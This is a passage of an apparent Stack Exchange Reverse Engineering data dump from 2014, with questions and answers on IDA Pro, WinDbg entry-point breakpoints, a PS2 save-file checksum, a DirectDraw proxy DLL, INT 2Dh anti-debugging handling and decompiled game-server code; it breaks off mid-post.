  <row Id="6255" PostTypeId="2" ParentId="6254" CreationDate="2014-09-18T00:03:15.747" Score="3" Body="&lt;p&gt;Normally it should be selected by default but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jJxGE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-18T00:03:15.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6257" PostTypeId="1" CreationDate="2014-09-18T14:34:47.867" Score="1" ViewCount="1246" Body="&lt;p&gt;I have a touchscreen Windows 8 tablet and I would like to be able to use this platform to easily browse control flow graphs in IDA Pro and display them to other people. There are a couple of problems I keep running into - but the earliest problem I ran into is that my tablet has no scroll wheel capability and no keypad with +/- on it, so I cannot zoom in and out of graphs. This is not necessarily a reverse-engineering question per se, but is it easily possible to enable zoom functionality on this platform in a way that I have not thought of yet? What would an extension to IDA that enables pinch-to-zoom require? &lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2014-09-18T15:45:01.223" Title="Pinch to zoom in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6258" PostTypeId="2" ParentId="6257" CreationDate="2014-09-18T15:18:02.793" Score="3" Body="&lt;p&gt;It looks like the program GestureKey would allow you to map gestures to keyboard or mouse actions, for use with IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Za39w.png&quot; alt=&quot;GestureKey&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a nice demo video of using GestureKey to allow pinch-to-zoom to work with Google Earth: &lt;a href=&quot;http://www.youtube.com/watch?v=D_EoXY3Jhrw&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=D_EoXY3Jhrw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, &lt;a href=&quot;http://gestureworks.com/gesturekey&quot; rel=&quot;nofollow noreferrer&quot;&gt;the developers of GestureKey have abandoned it&lt;/a&gt;, but it looks like you still might be able to get it &lt;a href=&quot;http://www.mageca.com/app_info?app_pk=50&quot; rel=&quot;nofollow noreferrer&quot;&gt;from here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to post your question in a more generic form to the &lt;a href=&quot;https://softwarerecs.stackexchange.com/&quot;&gt;Software Recommendations StackExchange&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:06.483" LastActivityDate="2014-09-18T15:45:01.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6259" PostTypeId="1" CreationDate="2014-09-19T10:34:53.663" Score="7" ViewCount="3952" Body="&lt;p&gt;Been trying to figure this one out for a while now, and would be eternally grateful for anyone with more experience in checksum algorithms lending a hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to alter save files for an old Playstation 2 game for a long time, now. However, this save is protected by what appears to be a triple, bi-directional checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game, if you're curious, is &lt;em&gt;Fire Pro Wrestling Returns&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, I have mapped out a considerable amount of the save data, and much of it is something that the player can easily affect themselves (since much of it is user-created characters), which has helped considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data I have already is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The save data itself without the checksum is 888 kilobytes exactly, of which the final 400 bytes appears to be null padding to round out the file size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following these 888 kb, there is a total of 4580 bytes worth of checksum, divided into three blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Experiments altering save data through the game and resaving, following by comparing the save files, has shown that the checksum works as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first block is 3552 bytes, consisting of 888 4-byte checksums, one each for the 888 kilobytes of save data. This has been tested and verified by altering individual bytes. It also seems that they are not working off each other - there are a few blocks towards the end where I was able to make two blocks identical to each other, and they had the same checksum. So hopefully this means that each block is calculated in a vacuum rather than depending on previous results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second block is 1024 bytes, and seems to be a cross-directional checksum of the main save data (so that the first byte of this checksum is a checksum of the first byte of each of the 888 &quot;1 kb blocks&quot; of save data). I've tested and seemingly verified this theory by altering a single byte in various places and be able to predict completely which checksum bytes would alter as a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third block is another 4-byte checksum. Since the first block of checksums are checksums turning 1024 bytes of data into a 4-byte checksum, and the entire second block of checksums is 1024 bytes, I'm guessing here that this is a final corruption check by doing a checksum check on the second checksum block, using the same algorithm as block 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically it appears that there are two checksum algorithms at work, one of which I have full control of the in-data for, and the second where I have limited input since not all of the save file is easily manipulated and this takes from all parts of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples of the 4-byte checksum generated by different blocks of data in block 1:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BB 6B 82 F3 = all zeroes  &#xA;68 8D C8 0C = 01 followed by all zeroes  &#xA;B4 D9 DC B4 = 02 followed by all zeroes  &#xA;DF 5F 6E 0D = all zeroes with 01 at 0x60  &#xA;78 DF C3 08 = all zeroes ending with 01 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem there is that looking at it in binary, hexadecimal or decimal I just haven't found any discernable pattern. I've started looking into trying to reverse engineer the assembler of it and seeing if I can find the algorithm that way, but that's not exactly a simple task considering the size of the software (and the PS2 multi-core architecture which may or may not be involved).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done less work on mapping the second checksum, but what I have there is attempts where I've altered a single byte inside by either adding or subtracting one, and noting that in most cases, the checksum has only changed by one step (though in different directions), but for now I'm focused on the first algorithm since that's the one that feels like the bigger head scratcher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If providing more experimental data helps, I can happily do that. =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And while the end result is definitely why I started working on this, I'm interested not primarily in a solution but rather in understanding the methods for how to reach it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;br&gt;&#xA;Thanks to some awesomely helpful comments I've gotten some debugging setup, though I'm not sure I've found the right code... I logged everything while loading a savegame (since it'd need to build the checksum for comparison while loading) and looking for repeated blocks of code with subroutines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding the RIGHT assembly to quote is really the biggest trouble I'll have after all this help, while I'm trying to learn how to figure this out...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this block is repeated 104 times in my log (which is a partial load, not the entire thing, since I didn't have much time this morning before work), though I need to translate it into pseudocode to see if it's relevant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0012f5d4 0c04c77c: JAL    , 00131df0, 001c0b04 (ra),  &#xA;0012f5d8 24a5ffff: ADDIU  , 00000000_00000004 (a1), 00000004 (a1), ffff (65535),  &#xA;00131df0 30820008: ANDI   , 00000000_00002000 (v0), 00000000_0000211c (a0), 0008 (8),  &#xA;00131df4 10400008: BEQ    , 00000000_00000008 (v0), 00000000_00000000 (r0), 00131e18,  &#xA;00131df8 30820010: ANDI   , 00000000_00000008 (v0), 00000000_0000211c (a0), 0010 (16),  &#xA;00131dfc 10400004: BEQ    , 00000000_00000010 (v0), 00000000_00000000 (r0), 00131e10,  &#xA;00131e00 00051040: SLL    , 00000000_00000010 (v0), 00000003 (a1), 01 (1),  &#xA;00131e04 00451021: ADDU   , 00000000_00000006 (v0), 00000006 (v0), 00000003 (a1),  &#xA;00131e08 03e00008: JR     , 0012f5dc (ra),  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT AGAIN TO ADD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One plan when I get the time to sit down with it, hopefully tonight, is to take a save file I know works, and then introduce an error into the third checksum of the first block, then run the load-up sequence with the debugger again to see where it fails and see if that can narrow down the first checksum block and the routines involved.&lt;/p&gt;&#xA;" OwnerUserId="8576" LastEditorUserId="1485" LastEditDate="2014-10-04T11:48:13.880" LastActivityDate="2014-10-04T11:48:13.880" Title="Reverse-engineering a tough-to-crack video game save-file checksum" Tags="|binary-analysis|static-analysis|hex|cryptography|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6260" PostTypeId="1" CreationDate="2014-09-19T14:06:30.420" Score="9" ViewCount="1008" Body="&lt;p&gt;The game Red Alert 2 runs on Windows 8, but as soon as I inject a DLL (via ddraw.dll or an extra DLL) it stops drawing buttons on the main menu. With the DLL it still work fine in windowed mode and it still works fine on Windows 7. &#xA;The DLL is basically just&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef HRESULT(WINAPI* LPDIRECTDRAWCREATE)(GUID*, LPDIRECTDRAW*, IUnknown*);&#xA;HMODULE dd_dll = LoadLibrary(&quot;system32/ddraw.dll&quot;);&#xA;LPDIRECTDRAWCREATE dd_create = reinterpret_cast&amp;lt;LPDIRECTDRAWCREATE&amp;gt;(GetProcAddress(dd_dll, &quot;DirectDrawCreate&quot;));&#xA;return dd_create(lpGUID, lplpDD, pUnkOuter);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing some kind of automatic compatibility mode is activated for the original game that gets disabled by the DLL, but how do I find out what's causing this?&#xA;It's important as the DLL provides improvements for gamers that should also be available on Windows 8 (and beyond).&lt;/p&gt;&#xA;" OwnerUserId="8464" LastActivityDate="2022-04-24T04:05:10.477" Title="Red Alert 2 Windows 8 DirectDraw compatibility" Tags="|windows|c++|dll-injection|windows-8|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6261" PostTypeId="1" AcceptedAnswerId="6262" CreationDate="2014-09-19T16:58:54.263" Score="1" ViewCount="108" Body="&lt;p&gt;I have the following lines discovered in a piece of code (using IDA PRO) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ...&#xA; ...&#xA; push 44h&#xA; pop edi&#xA; push edi        ; size_t&#xA; xor esi, esi&#xA; lea eax, [ebp+StartupInfo]&#xA; push esi        ; int &#xA; push eax        ; void *&#xA; call _memset&#xA; ...&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I saw the line &lt;strong&gt;lea eax, [ebp+StartupInfo]&lt;/strong&gt; I thought, okay eax is a pointer to the structure STARTUPINFO. With int esi = 0 or NULL (see the line &lt;strong&gt;xor esi, esi&lt;/strong&gt;) and with size_t edi = 44h and by calling memset, they must fill the first 44 bytes of STARTUPINFO (that would be the elements cb, lpReserved,....,wShowWindow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the line &#xA;     push eax        ; void *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;irritates me. How can eax has the type Startupinfo and void at the same time? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I found out that the first parameter of memset()-function must have the type void. And so, the question mark in my mind is now bigger...&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-09-19T17:09:41.987" Title="Competitive Types" Tags="|assembly|struct|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6262" PostTypeId="2" ParentId="6261" CreationDate="2014-09-19T17:09:41.987" Score="3" Body="&lt;p&gt;IDA knows that the prototype for the &lt;code&gt;_memset&lt;/code&gt; function is &lt;code&gt;_memset(void *, int, size_t)&lt;/code&gt;, so it's showing you that the value of &lt;code&gt;eax&lt;/code&gt; in &lt;code&gt;push eax&lt;/code&gt; is for the &lt;code&gt;void *&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, later on in this function, a pointer to the &lt;code&gt;StartupInfo&lt;/code&gt; structure is likely passed to &lt;code&gt;CreateProcess&lt;/code&gt;, which is why IDA named it as such.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can eax has the type Startupinfo and void at the same time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;eax&lt;/code&gt; is just a register that holds a value, which in your disassembly above is the address of the &lt;code&gt;StartupInfo&lt;/code&gt; structure. Types are high-level concepts, so when handled by &lt;code&gt;_memset&lt;/code&gt;, the value of &lt;code&gt;eax&lt;/code&gt; is interpreted as a &lt;code&gt;void *&lt;/code&gt;, and when it's handled by &lt;code&gt;CreateProcess&lt;/code&gt;, it's interpreted as a pointer to a &lt;code&gt;STARTUPINFO&lt;/code&gt; structure.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-19T17:09:41.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6263" PostTypeId="1" AcceptedAnswerId="6264" CreationDate="2014-09-19T17:58:45.217" Score="-1" ViewCount="120" Body="&lt;p&gt;I am facing with a software made in Java. This program is a group of jar called in a flow after the first startup.jar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way or method to follow executing and know which class is currently running without inject a log class inside all class files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3214" LastActivityDate="2014-09-19T18:19:03.447" Title="How to &quot;follow&quot;Java software executing" Tags="|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6264" PostTypeId="2" ParentId="6263" CreationDate="2014-09-19T18:19:03.447" Score="0" Body="&lt;p&gt;Your best bet is probably &lt;a href=&quot;http://www.aspectsecurity.com/tools/javasnoop&quot; rel=&quot;nofollow noreferrer&quot;&gt;JavaSnoop&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IXzEI.png&quot; alt=&quot;JavaSnoop&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code and binaries available from &lt;a href=&quot;https://code.google.com/p/javasnoop/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presentation and demo video available &lt;a href=&quot;http://www.youtube.com/watch?v=ipuSmbxBxKw&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-19T18:19:03.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6265" PostTypeId="2" ParentId="6228" CreationDate="2014-09-19T21:18:14.807" Score="6" Body="&lt;p&gt;I just downloaded the KB2977629 patch file (IE11-Windows6.1-KB2977629-x64.MSU). It looks like the information about which file corresponds to what is inside the &lt;code&gt;_manifest_.cix.xml&lt;/code&gt; file (there is a single, very long, line inside). You have for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;File id=&quot;214&quot; name=&quot;amd64_microsoft-windows-s..-downlevel.binaries_31bf3856ad364e35_6.3.9600.17280_none_5f668c1aff756211\msspellcheckingfacility.exe&quot; length=&quot;940032&quot; time=&quot;130528725776317394&quot; attr=&quot;32&quot;&amp;gt; ... &amp;lt;/File&amp;gt;&#xA;&amp;lt;Delta&amp;gt;&#xA;  &amp;lt;Source type=&quot;PA30&quot; name=&quot;35&quot;&amp;gt; (...) &amp;lt;/Source&amp;gt;&#xA;  &amp;lt;Basis file=&quot;214&quot;/&amp;gt;&#xA;&amp;lt;/Delta&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;35 seems to be the name of one of the files in the archive. These files begin with 4 bytes that read &quot;PA30&quot;, so it looks like a specific format. I've found some reference to this patching system in a patent application: &lt;a href=&quot;http://www.google.com/patents/US20070260653&quot; rel=&quot;noreferrer&quot;&gt;http://www.google.com/patents/US20070260653&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, most Windows updates do not use this delta patching system, but rather contain the full versions of each file they are going to replace.&lt;/p&gt;&#xA;" OwnerUserId="8581" LastActivityDate="2014-09-19T21:18:14.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6266" PostTypeId="1" CreationDate="2014-09-19T21:34:06.307" Score="3" ViewCount="3432" Body="&lt;p&gt;So I am trying to learn how to debug files that I don't have the symbol files for.  The most common advice is to issue &lt;code&gt;bp $exentry&lt;/code&gt; or &lt;code&gt;bu @$exentry&lt;/code&gt;.  However, neither of these work.  Once I &lt;code&gt;g&lt;/code&gt; the executable it breaks on &lt;code&gt;ntdll32!LdrpDoDebuggerBreak+0x2c&lt;/code&gt;.  Nothing in the call stack gives any useful information.  If I issue &lt;code&gt;g&lt;/code&gt; again, the executable runs to termination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to get to &lt;code&gt;main()&lt;/code&gt; without manually stepping through all the startup code?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2018-10-12T07:19:28.193" Title="WinDbg Debugging without symbols" Tags="|debugging|windbg|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6267" PostTypeId="1" CreationDate="2014-09-20T17:58:36.937" Score="0" ViewCount="509" Body="&lt;p&gt;I have the following lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; push [ebp+dwBytes]&#xA; push 8                 ; dwFlags&#xA; call ds:GetProcessHeap&#xA; push eax               ; hHeap&#xA; call ds:HeapAlloc      &#xA; push [ebp:lpCmdLine]   ; char *&#xA; mov edi, eax&#xA; call _atol&#xA; mov esi, eax&#xA; xor esi, 28Ch&#xA; mov eax, esi&#xA; pop ecx&#xA; mov edx, ebx&#xA; xor eax, 1104h&#xA; xor ecx, ecx&#xA; shr edx, 1&#xA; jz  short loc_60114A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part is not difficult. They get a handle to the default heap and after that, they allocate some memory on that heap using the handle hHeap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part with lpCmdLine take the lpCmdLine and converts it into a long value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I do not understand the part which comes after call _atol.&#xA;Especially the lines with the XOR :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; xor esi, 28Ch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Questions:&#xA;a) Is that a way of encryption ? I mean, is it so that they try to encrypt the string pointed by lpCmdLine ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Normally I had a cmp before jz, but here as you can see, there is only a jz instruction? Why is the cmp is missing ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-09-21T15:31:03.213" Title="XORing command-line for encryption?" Tags="|assembly|xor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6268" PostTypeId="1" AcceptedAnswerId="6270" CreationDate="2014-09-20T19:53:51.657" Score="6" ViewCount="1984" Body="&lt;p&gt;I'm analyzing a PE file using &lt;code&gt;IDA Pro&lt;/code&gt; that is using &lt;code&gt;int 2Dh&lt;/code&gt; technique as anti debugging:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CODE:00455050 push    ebp&#xA;CODE:00455051 mov     ebp, esp&#xA;CODE:00455053 push    ecx&#xA;CODE:00455054 push    ebx&#xA;CODE:00455055 push    esi&#xA;CODE:00455056 push    edi&#xA;CODE:00455057 xor     eax, eax&#xA;CODE:00455059 push    ebp&#xA;CODE:0045505A push    offset loc_455076&#xA;CODE:0045505F push    dword ptr fs:[eax]&#xA;CODE:00455062 mov     fs:[eax], esp&#xA;CODE:00455065 int     2Dh             ; Windows NT - debugging services: eax = type&#xA;CODE:00455067 inc     eax&#xA;CODE:00455068 mov     [ebp+var_1], 1&#xA;CODE:0045506C xor     eax, eax&#xA;CODE:0045506E pop     edx&#xA;CODE:0045506F pop     ecx&#xA;CODE:00455070 pop     ecx&#xA;CODE:00455071 mov     fs:[eax], edx&#xA;CODE:00455074 jmp     short loc_455084&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How should I config IDA Pro to handle this interrupt/exception in dynamic analyzing?&lt;br&gt;&#xA;I'm Using the local win32 debugger&lt;/p&gt;&#xA;" OwnerUserId="3360" LastActivityDate="2014-09-20T23:35:00.473" Title="Handling INT 2D anti-debugger technique in IDA Pro" Tags="|ida|debugging|anti-debugging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6269" PostTypeId="2" ParentId="6266" CreationDate="2014-09-20T22:03:00.680" Score="8" Body="&lt;p&gt;Make sure if you have the correct breakpoint address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;issue &lt;code&gt;lm&lt;/code&gt; an exe without symbol will be shown as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; lm&#xA;start    end        module name&#xA;00400000 0040f000   image00400000   (no symbols)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compare the &lt;code&gt;NtHeader-&amp;gt;AddresssOfEntrypoint&lt;/code&gt; with &lt;code&gt;@$exentry&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; r $t0 = image00400000&#xA;0:000&amp;gt; ?? ((ntdll!_IMAGE_NT_HEADERS *) @@( poi( @$t0 + 0x3c ) + @$t0 ))-&amp;gt;OptionalHeader.AddressOfEntryPoint + @$t0&#xA;unsigned int64 0x401280&#xA;0:000&amp;gt; ? @$exentry&#xA;Evaluate expression: 4199040 = 00401280&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if they are same setting a breakpoint with &lt;code&gt;bp @$exentry&lt;/code&gt; or &lt;code&gt;bp 401280&lt;/code&gt;  should both break properly at that address only if there is no Debugger Detection in you Binary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your binary has Debugger Detection then you may need to examine the DllInitRoutines Tls Callbacks and other cute tricks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;output sample exe without any Anti Debugging Tricks breaking properly at @$exentry below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .lastevent&#xA;Last event: bc.a70: Break instruction exception - code 80000003 (first chance)&#xA;  debugger time: Sun Sep 21 01:10:42.015 2014 (UTC + 5:30)&#xA;0:000&amp;gt; lm M *im*&#xA;start    end        module name&#xA;00400000 0040f000   image00400000   (no symbols)&#xA;0:000&amp;gt; $ binary without symbols whose module name is normally shown as imageXXXXXX&#xA;&#xA;0:000&amp;gt; r $t0 = image00400000 ; $ set Pseudo Register to start&#xA;&#xA;0:000&amp;gt; r $t1 = poi(@$t0+3c)  ; $ find pointer to Ntheader&#xA;&#xA;0:000&amp;gt; r? $t2 = (ntdll!_IMAGE_NT_HEADERS *) (@$t0 + @$t1)  ; set c++ pseudo Register&#xA;&#xA;0:000&amp;gt; ?? @$t2-&amp;gt;OptionalHeader.AddressOfEntryPoint + @$t0  ; Find AddressofEntryPoint&#xA;unsigned int64 0x401280&#xA;&#xA;0:000&amp;gt; ? @$exentry&#xA;Evaluate expression: 4199040 = 00401280&#xA;&#xA;0:000&amp;gt; bp @$exentry&#xA;&#xA;0:000&amp;gt; bl&#xA; 0 e 00401280     0001 (0001)  0:**** image00400000+0x1280&#xA;&#xA;0:000&amp;gt; g&#xA;Breakpoint 0 hit    &#xA;image00400000+0x1280:&#xA;00401280 55              push    ebp&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is &lt;code&gt;not main()&lt;/code&gt; it will be the start of &lt;code&gt;c runtime init code&lt;/code&gt; usually termed as &lt;code&gt;XYZ_MainCrtStartUp()&lt;/code&gt; you may need to inspect the binary to find the Main() if you know the compiler you can usually spot the initialisation code it would be common code &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-09-20T22:03:00.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6270" PostTypeId="2" ParentId="6268" CreationDate="2014-09-20T23:35:00.473" Score="5" Body="&lt;p&gt;The code is expecting an exception to occur, which will happen in the absence of a debugger.  If a debugger is present, the breakpoint exception will usually be suppressed by the debugger, and execution will continue at either 0x455067 or 0x455068, depending on the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two simple choices: one choice is that you could just let execution reach 0x455084 and then change var_1 back to zero (or whatever value that it had originally).  What you don't want is for it to have the value of &quot;1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other choice is to change the byte at 0x455065 from 0xCD to 0xFF (for example) and then let that execute.  This sequence will cause an exception to occur, which is really what you want to happen (note that the exception code won't be correct, so you'll need to watch if the code checks for a 0x80000003, and take that code path).  The execution will be transferred to the handler at 0x455076, at which point you can change the byte at 0x455065 back to 0xCD (in case the code is self-checking), and then resume debugging.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-09-20T23:35:00.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6271" PostTypeId="1" AcceptedAnswerId="6272" CreationDate="2014-09-21T01:23:54.157" Score="5" ViewCount="1976" Body="&lt;p&gt;I'm trying to clean up the pseudo code to make it compile and function similar if not exactly the same as the original code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This bit which looks like this appears in various places I'm trying to figure out what it exactly means.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( ZonePlayerCount &amp;gt; 0 )&#xA;  {&#xA;    v3 = 0;&#xA;    v4 = 0;&#xA;    v5 = playerPointerList;&#xA;    v6 = &amp;amp;playerPointerList[1];&#xA;    do&#xA;    {&#xA;      if ( *(unsigned int *)&amp;amp;(*v5)-&amp;gt;IPAddressDWORD.S_un.S_un_b.s_b1 == IPAddress &amp;amp;&amp;amp; (*v5)-&amp;gt;Port == Port )&#xA;      {&#xA;        printf(&quot;Connection is broken because same ip/port requested another connection\n&quot;);&#xA;        sub_41CBD0((int)&amp;amp;(*v5)-&amp;gt;encryptionPointer-&amp;gt;ConnectionStatus);&#xA;        Memory = *v5;&#xA;        if ( *v5 )&#xA;        {&#xA;          DisconnectUser(*v5);&#xA;          free(Memory);&#xA;        }&#xA;        --ZonePlayerCount;&#xA;        memcpy(v5, v6, 4 * (v4 + ZonePlayerCount));&#xA;        --v3;&#xA;        v4 -= 0x3FFFFFFFu;&#xA;        v6 = (char *)v6 - 4;&#xA;        --v5;&#xA;      }&#xA;      ++v3;&#xA;      v4 += 0x3FFFFFFFu;&#xA;      v6 = (char *)v6 + 4;&#xA;      ++v5;&#xA;    }&#xA;    while ( v3 &amp;lt; ZonePlayerCount );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other places like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    v1 = 0;&#xA;    if ( ArenaArrayLength &amp;gt; v1 )&#xA;    {&#xA;      v18 = 0;&#xA;      v19 = Arenas;&#xA;      v20 = &amp;amp;Arenas[1];&#xA;      do&#xA;      {&#xA;        if ( ProcessArena(*v19) )&#xA;        {&#xA;          if ( (*v19)-&amp;gt;ArenaName[0] )&#xA;            WriteSubGameLog(&quot;Private arena dropped: %s\n&quot;, (*v19)-&amp;gt;ArenaName);&#xA;          else&#xA;            WriteSubGameLog(&quot;Arena dropped\n&quot;);&#xA;          bufa = *v19;&#xA;          if ( *v19 )&#xA;          {&#xA;            ShutdownArena(*v19);&#xA;            free(bufa);&#xA;          }&#xA;          --ArenaArrayLength;&#xA;          memcpy(v19, v20, 4 * (v18 + ArenaArrayLength));&#xA;          --v1;&#xA;          v18 -= 0x3FFFFFFFu;&#xA;          v20 = (char *)v20 - 4;&#xA;          --v19;&#xA;        }&#xA;        ++v1;&#xA;        v18 += 0x3FFFFFFFu;&#xA;        v20 = (char *)v20 + 4;&#xA;        ++v19;&#xA;      }&#xA;      while ( v1 &amp;lt; ArenaArrayLength );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assembly for the first piece of pseudo code I provide here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00412D7B                 mov     esi, offset playerPointerList&#xA;.text:00412D80                 mov     ebx, (offset playerPointerList+4)&#xA;.text:00412D85&#xA;.text:00412D85 loc_412D85:                             ; CODE XREF: NewConnectionRequest+C0j&#xA;.text:00412D85                 mov     eax, [esi]&#xA;.text:00412D87                 mov     ecx, [esp+20h+IPAddress]&#xA;.text:00412D8B                 cmp     [eax+2F3h], ecx&#xA;.text:00412D91                 jnz     short loc_412DFC&#xA;.text:00412D93                 mov     dx, [esp+20h+Port]&#xA;.text:00412D98                 cmp     [eax+2F7h], dx&#xA;.text:00412D9F                 jnz     short loc_412DFC&#xA;.text:00412DA1                 push    offset aConnectionIsBrok ; &quot;Connection is broken because same ip/port &quot;...&#xA;.text:00412DA6                 call    _printf&#xA;.text:00412DAB                 mov     eax, [esi]&#xA;.text:00412DAD                 add     esp, 4&#xA;.text:00412DB0                 mov     ecx, [eax+28h]&#xA;.text:00412DB3                 call 